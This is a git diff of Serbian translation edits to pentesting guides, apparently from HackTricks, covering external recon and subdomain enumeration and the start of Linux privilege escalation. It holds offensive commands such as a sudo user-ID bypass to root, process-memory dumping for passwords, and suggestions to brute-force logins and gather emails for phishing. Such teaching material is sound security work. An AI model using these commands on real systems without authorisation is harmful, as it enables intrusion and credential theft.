**U zavisnosti od regiona kompanije, ovi linkovi bi mogli biti korisni za prikupljanje dodatnih podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su sve** korisne informacije **(IP opsezi i Whois)** već prikazane u prvom linku.
```bash
@@ -56,8 +56,8 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in
### **Traženje ranjivosti**
-U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
-Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovu knjigu kako da pentestujete nekoliko mogućih usluga koje rade.\
+U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako imate dozvolu, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
+Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovu knjigu kako da pentestujete nekoliko mogućih usluga koje se izvode.\
**Takođe, vredi napomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** bruteforce-ujete usluge sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeni
@@ -88,7 +88,7 @@ Možete koristiti online alate kao što su:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Besplatno**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Besplatno**
-- [https://www.whoxy.com/](https://www.whoxy.com) - **Besplatno** web, nije besplatan API.
+- [https://www.whoxy.com/](https://www.whoxy.com) - **Besplatno** web, nije besplatno API.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nije besplatno
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nije besplatno (samo **100 besplatnih** pretraga)
- [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
@@ -96,7 +96,7 @@ Možete koristiti online alate kao što su:
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\
Takođe možete izvršiti neku automatsku obrnutu whois otkrivanje sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
-**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
+**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
### **Trackers**
@@ -150,7 +150,7 @@ Uobičajeno je imati cron job kao
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
-da obnovite sve sertifikate domena na serveru. To znači da čak i ako CA koja se koristi za ovo ne postavi vreme kada je generisan u vremenu važenja, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima sertifikacione transparentnosti**.\
+da obnovite sve sertifikate domena na serveru. To znači da čak i ako CA koja se koristi za ovo ne postavi vreme kada je generisan u vremenu važenja, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\
Pogledajte ovaj [**izveštaj za više informacija**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Mail DMARC informacije
@@ -159,7 +159,7 @@ Možete koristiti veb sajt kao što je [https://dmarc.live/info/google.com](http
### **Pasivno preuzimanje**
-Očigledno je uobičajeno da ljudi dodeljuju poddomene IP-ovima koji pripadaju provajderima u oblaku i u nekom trenutku **izgube tu IP adresu, ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanjem VM** u oblaku (kao što je Digital Ocean) zapravo ćete **preuzeti neke poddomene**.
+Očigledno je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima u oblaku i u nekom trenutku **izgube tu IP adresu, ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanjem VM** u oblaku (kao što je Digital Ocean) zapravo ćete **preuzeti neke poddomene**.
[**Ova objava**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće VM u DigitalOcean**, **dobija** **IPv4** nove mašine i **pretražuje u Virustotal-u za zapise poddomena** koji upućuju na nju.
@@ -169,9 +169,9 @@ Očigledno je uobičajeno da ljudi dodeljuju poddomene IP-ovima koji pripadaju p
**Shodan**
-Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati te podatke u shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
+Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati po tim podacima u shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
-Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih **shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih po **shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@@ -179,10 +179,10 @@ Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organiz
### **Traženje ranjivosti**
-Proverite za neki [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neku domenu** ali su **izgubili vlasništvo**. Samo je registrujte (ako je dovoljno jeftina) i obavestite kompaniju.
+Proverite za neki [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neku domenu** ali su **izgubili vlasništvo**. Samo je registrujte (ako je dovoljno jeftina) i obavestite kompaniju.
-Ako pronađete neku **domenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju sredstava, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
-_Note da ponekad domena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
+Ako pronađete neku **domenu sa IP-jem koji se razlikuje** od onih koje ste već pronašli u otkrivanju sredstava, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
+_Napomena da ponekad domena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
## Poddomene
@@ -195,7 +195,7 @@ Vreme je da pronađemo sve moguće poddomene svake pronađene domene.
### **DNS**
-Pokušajmo da dobijemo **poddomenе** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebali biste to prijaviti).
+Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebali biste to prijaviti).
```bash
dnsrecon -a -d tesla.com
```
@@ -282,12 +282,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
+- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ovog Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koju datu domenu.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
-- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS datotekama i izvode poddomene odatle.
+- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS datotekama i izvode poddomene iz njih.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -312,18 +312,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
-- [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istoriju IP adresa
+- [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu poddomena i istoriju IP adresa
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
-Ovaj projekat nudi **besplatno sve subdomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
+Ovaj projekat nudi **besplatno sve poddomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Možete pronaći **uporedbu** mnogih od ovih alata ovde: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
-Pokušajmo da pronađemo nove **subdomene** brute-forcing DNS servere koristeći moguće nazive subdomena.
+Pokušajmo da pronađemo nove **poddomenе** brute-forcing DNS servere koristeći moguće nazive poddomena.
-Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao**:
+Za ovu akciju biće vam potrebne neke **uobičajene liste reči poddomena kao što su**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
-- [**gobuster**](https://github.com/OJ/gobuster): Mislim da ovaj koristi samo 1 resolver.
+- [**gobuster**](https://github.com/OJ/gobuster): Mislim da koristi samo 1 resolver
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
@@ -359,13 +359,13 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Druga runda DNS brute-force
-Nakon što ste pronašli poddomeni koristeći otvorene izvore i brute-forcing, možete generisati varijacije pronađenih poddomena kako biste pokušali da pronađete još više. Nekoliko alata je korisno za ovu svrhu:
+Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, možete generisati varijacije pronađenih poddomena kako biste pokušali da pronađete još više. Nekoliko alata je korisno za ovu svrhu:
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dajući domene i poddomene generiše permutacije.
```bash
cat subdomains.txt | dnsgen -
```
-- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domene i poddomene generišite permutacije.
+- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i subdomeni generišite permutacije.
- Možete dobiti goaltdns permutacije **wordlist** **ovde** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@@ -387,7 +387,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
-#### Generisanje pametnih permutacija
+#### Pametna generacija permutacija
- [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u suštini uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
```bash
@@ -413,15 +413,15 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Virtuelni Hostovi**
-Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
+Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
#### OSINT
-Možete pronaći neke **VHosts na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
+Možete pronaći neke **VHost-ove na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
**Brute Force**
-Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute force-ujete:
+Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute-forcujete:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -436,11 +436,11 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
> [!NOTE]
-> Ovom tehnikom možda ćete moći da pristupite internim/skrivenim krajnjim tačkama.
+> Ovom tehnikom možda ćete moći da pristupite internim/sakrivenim krajnjim tačkama.
### **CORS Brute Force**
-Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
+Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/subdomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **subdomene**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@@ -451,22 +451,22 @@ Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte d
### **Monitorisanje**
-Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)to radi.
+Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Traženje ranjivosti**
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/index.html).
-Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
-_Note da ponekad subdomena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
+Ako pronađete bilo koju **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
+_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
## IP-ovi
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
-Sada je vreme da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).**
+Vreme je da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).**
-Koristeći usluge iz sledećih **besplatnih API-ja** takođe možete pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
- [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -484,7 +484,7 @@ Takođe možete proveriti za domene koje upućuju na određenu IP adresu koriste
U prethodnim koracima verovatno ste već izvršili neku **recon analizu otkrivenih IP-ova i domena**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
-Imajte na umu da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
+Molimo vas da napomenete da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/index.html#http-port-discovery).\
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokušate druge portove:
@@ -494,17 +494,17 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshots**
-Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
+Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Zato, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
+Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i da vam kaže **šta verovatno sadrži ranjivosti**, a šta ne.
## Public Cloud Assets
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
-Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u kanticama**:
+Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u bucket-ima**:
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@@ -514,11 +514,11 @@ Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Se
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo kanti u AWS-u**.
+Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo bucket-a u AWS-u**.
### **Looking for vulnerabilities**
-Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
+Ako pronađete stvari kao što su **otvoreni bucket-i ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
## Emails
@@ -531,7 +531,7 @@ Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam *
### **Looking for vulnerabilities**
-Emailovi će kasnije biti korisni za **brute-force web prijave i autentifikacione usluge** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju.
+Emailovi će kasnije biti korisni za **brute-force web prijave i auth servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju.
## Credential Leaks
@@ -546,18 +546,18 @@ Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
## Secrets Leaks
-Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene i **drugim procurenjima** čije informacije nisu u tim bazama podataka:
+Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljiva informacija procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim procurenjima** čije informacije nisu u tim bazama podataka:
### Github Leaks
Kredencijali i API-ji mogu biti procurili u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
-Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) na njima.
+Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstova** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
#### Github Dorks
-Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe tražiti u organizaciji koju napadate:
+Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe pretraživati u organizaciji koju napadate:
{{#ref}}
github-leaked-secrets.md
@@ -566,13 +566,13 @@ github-leaked-secrets.md
### Pastes Leaks
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
-Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 paste sajtova u isto vreme.
+Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme.
### Google Dorks
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
-_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas google vrlo brzo blokirati._
+_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._
### **Looking for vulnerabilities**
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 96c395719..cf43d592d 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -4,7 +4,7 @@
## Sistem informacije
-### OS informacije
+### OS info
Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se pokreće
```bash
@@ -73,7 +73,7 @@ Od @sickrov
```
sudo -u#-1 /bin/bash
```
-### Dmesg potpis verifikacija nije uspela
+### Dmesg signature verification failed
Proverite **smasher2 box of HTB** za **primer** kako bi ova ranjivost mogla biti iskorišćena
```bash
@@ -131,7 +131,7 @@ docker-security/
## Drives
-Proverite **šta je montirano i demontirano**, gde i zašto. Ako je nešto demontirano, možete pokušati da to montirate i proverite privatne informacije.
+Proverite **šta je montirano i demontirano**, gde i zašto. Ako je nešto demontirano, možete pokušati da to montirate i proverite za privatne informacije.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -182,14 +182,14 @@ Obično će vam biti potrebne **root privilegije** da pročitate memoriju proces
Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa koje posedujete**.
> [!WARNING]
-> Imajte na umu da danas većina mašina **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem neprivilegovanom korisniku.
+> Imajte na umu da danas većina mašina **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem nepovlašćenom korisniku.
>
-> Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupnost ptrace-a:
+> Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupnost ptrace:
>
> - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debagovani, sve dok imaju isti uid. Ovo je klasičan način na koji je ptracing radio.
> - **kernel.yama.ptrace_scope = 1**: samo roditeljski proces može biti debagovan.
> - **kernel.yama.ptrace_scope = 2**: samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE sposobnost.
-> - **kernel.yama.ptrace_scope = 3**: Niti jedan proces ne može biti praćen sa ptrace. Kada se postavi, potrebno je ponovo pokrenuti da bi se ponovo omogućio ptracing.
+> - **kernel.yama.ptrace_scope = 3**: Niti jedan proces ne može biti praćen sa ptrace. Kada se postavi, potreban je restart da bi se ponovo omogućio ptracing.
#### GDB
@@ -202,7 +202,7 @@ gdb -p
(gdb) q
strings /tmp/mem_ftp #User and password
```
-#### GDB Skripta
+#### GDB Скрипт
```bash:dump-memory.sh
#!/bin/bash
#./dump-memory.sh
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **oblasti memorije čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i dump-ujemo sve čitljive oblasti** u fajl.
+Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Koristimo ove informacije da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl.
```bash
procdump()
(
@@ -295,9 +295,9 @@ Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/hunter
| GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
-| VSFTPd (Aktivne FTP konekcije) | vsftpd |
